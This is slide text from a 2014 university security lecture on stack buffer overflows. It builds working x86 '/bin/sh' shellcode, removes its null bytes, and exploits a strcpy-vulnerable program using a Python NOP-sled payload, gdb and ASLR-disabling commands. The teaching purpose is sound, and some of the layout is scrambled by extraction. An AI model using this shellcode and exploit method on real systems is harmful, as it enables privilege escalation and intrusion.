CSCI6268L15

advertisement
Foundations of Network and
Computer Security
John Black
CSCI 6268/TLEN 5550, Spring 2014
Buffer Overflows
• Biggest Vulnerability of 1997-2007 (or so)
– A lot of mitigation nowadays
– But still relevant since
• Older systems abound
• There are ways around the mitigation sometimes
• Other vulns are now more popular
– Esp web-based attacks which are often easier
to find, understand, and exploit
Buffer Overflows (cont)
• This topic is highly technical
– We assume you’ve had a course in assembler
– Or you have x86 assembly experience
somehow
• Google “x86 assembler tutorial” if you need a
refresher
– You should have also used gdb before
• There is a quick reference and a manual on our
course page
Example
main(int argc, char **argv)
{
char filename[256];
if (argc == 2)
strcpy(filename, argv[1]);
.
.
.
• Why does C have so many poorly-designed
library functions?
– strcpy(), strcat(), sprintf(), gets(), etc…
Memory Organization
Text (ie, Program Code)
Data (Initialized static/globals)
BSS (Uninitialized static/globals)
Heap
stack
env
Stack Frame (Activation
Record)
example1.c:
void function(int a, int b, int c) {
char buffer1[8];
char buffer2[16];
}
void main() {
function(1,2,3);
}
align stack to
22 = 4 byte
boundary
(this is how binaries
are compiled on our
class machine)
$ gcc -g -mpreferred-stack-boundary=2
-fno-stack-protector -o example1 example1.c
disable canaries
Disassembly, example1 (att)
main:
0x080483a3
0x080483a6
0x080483ae
0x080483b6
0x080483bd
lower
addrs
higher
addrs
<main+3>:
<main+6>:
<main+14>:
<main+22>:
<main+29>:
sub
movl
movl
movl
call
$0x10,%esp
$0x3,0x8(%esp)
$0x2,0x4(%esp)
$0x1,(%esp)
0x8048394 <function>
%esp 
$0x1
0x4(%esp)
$0x2
0x8(%esp)
$0x3
0xc(%esp)
N/A
original %esp (before sub)
Equivalent to
push $dummy
push 0x3
push 0x2
push 0x1
Digression: att vs intel
• In gdb,
• (gdb) set disassembly-flavor
intel
• gdb used to support only att, gcc uses it
exclusively (though –masm=intel works
on some platforms these days)
• Most hackers use att, but can speak intel
when necessary
function()
0x08048394 <function+0>:
0x08048395 <function+1>:
0x08048397 <function+3>:
push
mov
sub
0x0804839e <function+10>:
0x0804839f <function+11>:
leave
ret
”leave” is equivalent to
mov %ebp, %esp
pop %ebp
%ebp
%esp,%ebp
$0x18,%esp
// save %ebp
// set new %ebp from %esp
// make 24 bytes of room
// on stack for locals
// clean up %ebp, %esp
the above would be a little
different with canaries
(ie, without the
–fno-stack-protector
compiler option)
Stack at time of function() call
0xbffff7f8
buffer2
(and %esp)
0xbffff7fc
0xbffff800
0xbffff804
0xbffff808
buffer1
0xbffff80c
sfp
saved %ebp
0xbffff810
ret
ret addr
0xbffff814
a
0x1
0xbffff818
b
0x2
0xbffff81c
c
0x3
0xbffff820
Note: buffers 1 and 2 start out
uninitialized
The ordering on the stack is
NOT guaranteed to follow
order of declarations
example3.c
void function(int a, int b, int c) {
char buffer1[8];
char buffer2[16];
int *ret;
}
ret = buffer1 + 16;
addr
(*ret) += 7;
seg
void main() {
int x;
}
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
// set “ret” to point at the ret
// return 7 bytes later in text
we’re directly overwriting the
return address to illustrate
program-flow
an attacker can’t do this of
course
Overflowing buffer1
0xbffff7f8
buffer2
(and %esp)
0xbffff7fc
0xbffff800
0xbffff804
0xbffff808
buffer1
0xbffff80c
sfp
saved %ebp
0xbffff810
ret
ret addr
0xbffff814
a
0x1
0xbffff818
b
0x2
0xbffff81c
c
0x3
0xbffff820
If data are copied into buffer1
and the data are more than 8
bytes, an overflow occurs into
the fields below the buffer’s
area on the stack
When function returns, it will
go to the overwritten address
specified by the attacker
Controlling the ret addr
• If we overflow a buffer, we can control the
return address
– This is extremely powerful
– Can jump to other parts of the code
• Code that enables privs
• Code that prints sensitive info
• Code that just crashes (crash DNS, eg)
– Can jump to our own code!
• Assuming we can inject code… usually possible
• This is usually called “shellcode”
Shellcode
• Depending on the context, “shellcode” can do
various things
– Spawn a shell (that’s where the name comes from)
• This assumes you have a tty attached to the victim
• This assumes your injection doesn’t terminate with ^D
–
–
–
–
Open a bind shell
Open a reverse shell
Add a user to the system
Run a specific program
Let’s just spawn a shell
• fork or exec?
– Might as well exec since we don’t usually care
about the parent
• exit after exec?
– Commonly seen, metasploit has the option,
but seems unnecessary to me
• what format should code be in?
– Machine code, no question
shellcode.c: calling exec()
• Write in C, compile, extract assembly into machine
code:
execve looks here for executable
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
argc is derived from length of this
array; argv IS this array (but it
must be copied… why?).
NULL would work here just fine
we leave envp NULL for now
gcc -o shellcode -g -static shellcode.c
why didn’t I include the
compiler options used before?
Shellcode Synopsis
• Have the null terminated string "/bin/sh" somewhere
in memory.
• Have the address of the string "/bin/sh" somewhere
in memory followed by a NULL long word.
• Copy 0xb into the EAX register.
• Copy the address of the string "/bin/sh” into the EBX
register.
• Copy the address of the address of the string
"/bin/sh" into the ECX register.
• Copy the address of the null long word into the EDX
register.
• Execute the int $0x80 instruction.
Writing Shellcode
movl
string_addr, string_addr_addr
movb
$0x0, null_byte_addr
movl
$0x0, null_string
movl
$0xb,%eax
movl
string_addr, %ebx
leal
string_addr, %ecx
leal
null_string, %edx
int
$0x80
movl
$0x1, %eax
movl
$0x0, %ebx
int
$0x80
/bin/sh string goes here
One Problem: Where is the /bin/sh
string in memory?

We don’t know the address of buffer
 So
we don’t know the address of the string
“/bin/sh”
 We want our shellcode to be relocatable
 A trick to find it:
 JMP
to the end of the code and CALL back to the start
 These can use relative addressing modes
 The CALL will put the return address on the stack and
this will be the absolute address of the string
 We will pop this string into a register!
 To illustrate, assume our shellcode is injected on the stack
Shellcode on the stack
buffer
JJSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSS
SSSSSSSSSSSSSSSSS
CCsssssssssssssss
ssssss
ret
Jump to Shell Code
a
1
4 bytes
b
2
4 bytes
c
3
4 bytes
Our shellcode
start: jmp
mcall
ajmp: pop
%ebx
mov
$0x0, %eax
mov
%al,0x7(%ebx)
mov
%ebx,0x8(%ebx)
mov
%eax,0xc(%ebx)
mov
$0xb,%eax
lea
0x8(%ebx),%ecx
lea
0xc(%ebx),%edx
int
$0x80
mcall: call
ajmp
str_addr: “/bin/shxAAAABBBB”
// ebx holds str_addr
//
//
//
//
//
//
null terminator
put str_addr at AAAA
put 0000 at BBBB
kernel code for execve
ptr to array of ptrs (argv)
ptr to 0000 (envp)
AAAABBBB only for illustrative
purposes; not needed in shellcode
but the memory has to be available to
be overwritten
inline.c
main() {
__asm__(
"
"ajmp:
"
"
"
"
"
"
"
"
"mcall:
"
);
}
jmp
mcall
pop
%ebx
mov
$0x0, %eax
mov
%al,0x7(%ebx)
mov
%ebx,0x8(%ebx)
mov
%eax,0xc(%ebx)
mov
$0xb,%eax
lea
0x8(%ebx),%ecx
lea
0xc(%ebx),%edx
int
$0x80
call
ajmp
.string \"/bin/sh\""
assembler will automatically
\n\t"
use relative jmp/call
\n\t"
\n\t"
\n\t"
\n\t"
\n\t"
\n\t"
\n\t"
\n\t"
\n\t"
\n\t"
dataseg.c: put shellcode into
.data
(gdb) x/80xb the inline code to get the bytes for sc[] here, or
$ objdump –D | grep –A40 main.: | less
disassemble all sections, even data
char sc[] =
"\xeb\x1c\x5b\xb8\x00\x00\x00\x00\x88\x43\x07\x89\x5b\x08\x89\x43"
"\x0c\xb8\x0b\x00\x00\x00\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xdf"
"\xff\xff\xff/bin/sh/xAAAABBBB";
main() {
int *ret;
ret = (int *)&ret+2;
*ret = (int)sc;
}
$ ./dataseg
sh4.2 $
we have to include the xAAAABBBB this time; the memory
wouldn’t be allocated otherwise, and this causes the code
to fail
Next Problem… strcpy
• strcpy, strcat, etc… all stop operating at
the first NULL byte
• Our shellcode contains zeroes
– we need to get rid of them
– metasploit can do this for you (use a “filter”),
along with any other bytes you don’t want
• up to a limit, I assume
• some shellcode has to be ASCII, or worse, [0-9][AZ][a-z]
• Just eliminating zeros isn’t too hard
Getting rid of zeroes
08048394 <main>:
8048394:
55
8048395:
89
8048397:
83
804839a:
eb
804839c:
5b
804839d:
b8
80483a2:
88
80483a5:
89
80483a8:
89
80483ab:
b8
80483b0:
8d
80483b3:
8d
80483b6:
cd
80483b8:
e8
80483bd:
2f
80483be:
62
80483c1:
2f
80483c2:
73
e5
ec 04
1c
00
43
5b
43
0b
4b
53
80
df
00 00 00
07
08
0c
00 00 00
08
0c
ff ff ff
69 6e
68
push
mov
sub
jmp
pop
mov
mov
mov
mov
mov
lea
lea
int
call
das
bound
das
jae
%ebp
%esp,%ebp
$0x4,%esp
80483b8 <mcall>
%ebx
$0x0,%eax
%al,0x7(%ebx)
%ebx,0x8(%ebx)
%eax,0xc(%ebx)
$0xb,%eax
0x8(%ebx),%ecx
0xc(%ebx),%edx
$0x80
804839c <ajmp>
%ebp,0x6e(%ecx)
804842c
Changing two offending
instructions
b8 00 00 00 00
31 c0
mov
xor
$0x0,%eax
%eax,%eax
b8 0b 00 00 00
b0 0b
mov
mov
$0xb,%eax
$0xb,%al
We eliminate the zeros while making the
shellcode shorter at the same time!
dataseg2.c: amend two
instructions
we change the 2 instructions and adjust our jmp and call offsets
char sc[] =
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43"
"\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5"
"\xff\xff\xff/bin/sh/xAAAABBBB";
main() {
int *ret;
ret = (int *)&ret+2;
*ret = (int)sc;
}
$ ./dataseg2
sh4.2 $
still works! Our shellcode is 46 bytes
We’re Done! Well…
• We have zero-less shellcode
• It’s relocatable
• We just need to inject it into a privileged victim
and we can escalate with the spawned shell
– Victim must be attached to your tty (both stdin and
stdout)
– You must be able to inject without an EOF
• Pipes often won’t work
– Often you would run a different command than /bin/sh
• Consider modifying our shellcode to run l33t instead
Injection Options
• The most obvious and natural place is to inject into the
buffer we’re overflowing
– That’s the example we’ve been working with
– This assume that the buffer will not be modified before the
function returns
– We could inject after the ret addr too, but you will overwrite
function parameters
• Could mean you crash or have your shellcode modified before
function returns
• Let’s look at the methodology
• It’s much easier to accomplish when you have source
code alongside the binary victim on the local machine
• Remote/blind exploits are much harder
victim.c
main(int argc, char **argv)
{
char filename[256];
if (argc == 2)
strcpy(filename, argv[1]);
}
• Obvious buffer overflow due to use of strcpy()
instead of strncpy()
• We’ll inject onto the stack, but where is the
stack?
– We need address to jump to, so we can overwrite the return address
with it
Typical Stack Ptr Values
• For a 32-bit machine
• Without ASLR
– echo 1 > /proc/sys/kernel/randomize_va_space
– grep stack /proc/self/maps
– ASLR is off on class machine
– Increasingly on by default these days
• Means you have to do a LOT more guessing
• On 64-bit machines it becomes very hard
• Stack ends near 0xc0000000 on our machine
• gdb may slightly perturb this value
– In particular, the length of the program’s name has an
effect
Poking around…
$ gdb -q victim
(gdb) b main
Breakpoint 1 at 0x80483cd: file victim.c, line 9.
(gdb) r AAAAAAA
Starting program: /home/jrblack/shellcode/victim AAAAAAA
Breakpoint 1, main (argc=2, argv=0xbffff8a4) at victim.c:9
9
if (argc == 2)
(gdb) n
10
strcpy(filename, argv[1]);
(gdb) n
11
}
(gdb) x/4x filename
0xbffff718:
0x41414141
0x00414141
0x080481d0
0x00000001
Find addresses
(gdb) p &filename[0]
$1 = 0xbffff718 "AAAAAAA”
(gdb) p &filename[256]
$2 = 0xbffff818 "x▒▒▒u▒▒\002"
(gdb) x/4 0xbffff818
0xbffff818:
0xbffff878
ret addr is at 0xbffff81c
0xb7e8d775
0x00000002
0xbffff8a4
So we need to fill the buffer with shellcode, then whatever, then
with the address 0xbffff718 starting 260 bytes into the buffer
I use Python
• bash, perl, C all work fine
$ cat sc.py
#!/usr/bin/python
sc = \
"\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43" +\
"\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5" +\
"\xff\xff\xff/bin/sh/xAAAABBBB"
print sc + "A"*(256-len(sc))+"AAAA"+"\x18\xf7\xff\xbf";
$ ./victim $(./sc.py)
Illegal Instruction
$
Let’s use gdb: gdb victim, b main, r $(./sc.py)
Note: addresses found in gdb are only
approximate
• Ok trying 0xbffff618
• $ ./victim $(./sc.py)
• Segmentation fault
• $
• Ok, this isn’t working… larger arg size is shifting
buffer
• Introducing, “xchg %eax, %eax”
– Does nothing, doesn’t even touch flag reg
– Op code is 0x90
– Aka “NOP”
• Let’s add a “NOP sled” to the front of our
shellcode
print "\x90"*(256-len(sc))+sc+"AAAA"+"\x18\xf7\xff\xbf";
changed back to 0xbffff718 since that’s about the midpoint of the sled
Going Sledding…
start buffer:
\x90\x90\x90…
\x90\x90\x90…
\x90\x90\x90…
\x90\x90\x90…
Size of sled
will depend
on buffer space
available
\x90\x90\x90…
\x90\x90\x90…
\x90\x90\x90…
......
shellcode
\xeb\x16\x31
\xc0\xb0\x0b
.......
end of buffer:
/bin/shxAAAABBBB
saved bp
AAAA
ret address
addr
If addr points
ANYwhere among
these NOP bytes,
we win
Moral of the Story
• Get really good at the debugger
• Be persistent/obsessive
• Pick up some Unix Programming skills
along the way
– You can get by glossing over them, but don’t
Get your gdbfu on
• These are the commands I use most often in gdb
–
–
–
–
b func, b line#, b *<addr>
i r [reg_name]
where, bt
x/##<f><s> addr
• ## is decimal
• <f> is o, x, d, u, t, f, a, i, c, s
• <s> is b, h, w, g
– p/same expr
• gdb is a hex/octal/decimal calculator (almost binary too)
– l func/lineno
– disas func/lineno/addr
• Note gdb won’t let you disas some memory; use x/##i addr
More gdbfu
• And…
–
–
–
–
–
–
–
–
–
help <cmd>
r <args>
cont
n, ni, s, si
<enter>
<tab>
set follow-fork-mode child
cond <br#> expr
set {int}addr=val
• lmgtfy
Hey, wait… can’t I just gdb the
victim?
• You can gdb the victim binaries, but…
– They’re stripped at times
• nm, strip
– They drop euid/egid
• because of ptrace (see next slide)
• Often not a bad idea in order to get more
accurate addresses
– Still gdb perturbs things, so use a sled or put your
exploit in a fork loop
– I often still rebuild the source and operate locally
so I can have –g
• victims don’t have –g turned on
man ptrace
PT_ATTACH This request allows a process to gain control of
an otherwise unrelated process and begin tracing it. It
does not need any cooperation from the to-be-traced
process. In this case, pid specifies the process ID of
the to-be-traced process, and the other two arguments
are ignored. This request requires that the target
process must have the same real UID as the tracing
process, and that it must not be executing a setuid or
setgid executable. (If the tracing process is running as
root, these restrictions do not apply.) The tracing
process will see the newly-traced process stop and may
then control it as if it had been traced all along.
Three other restrictions apply to all tracing processes,
even those running as root. First, no process may trace
a system process. Second, no process may trace the
process running init(8). Third, if a process has its
root directory set with chroot(2), it may not trace
another process unless that process's root directory is
at or below the tracing process's root.
Download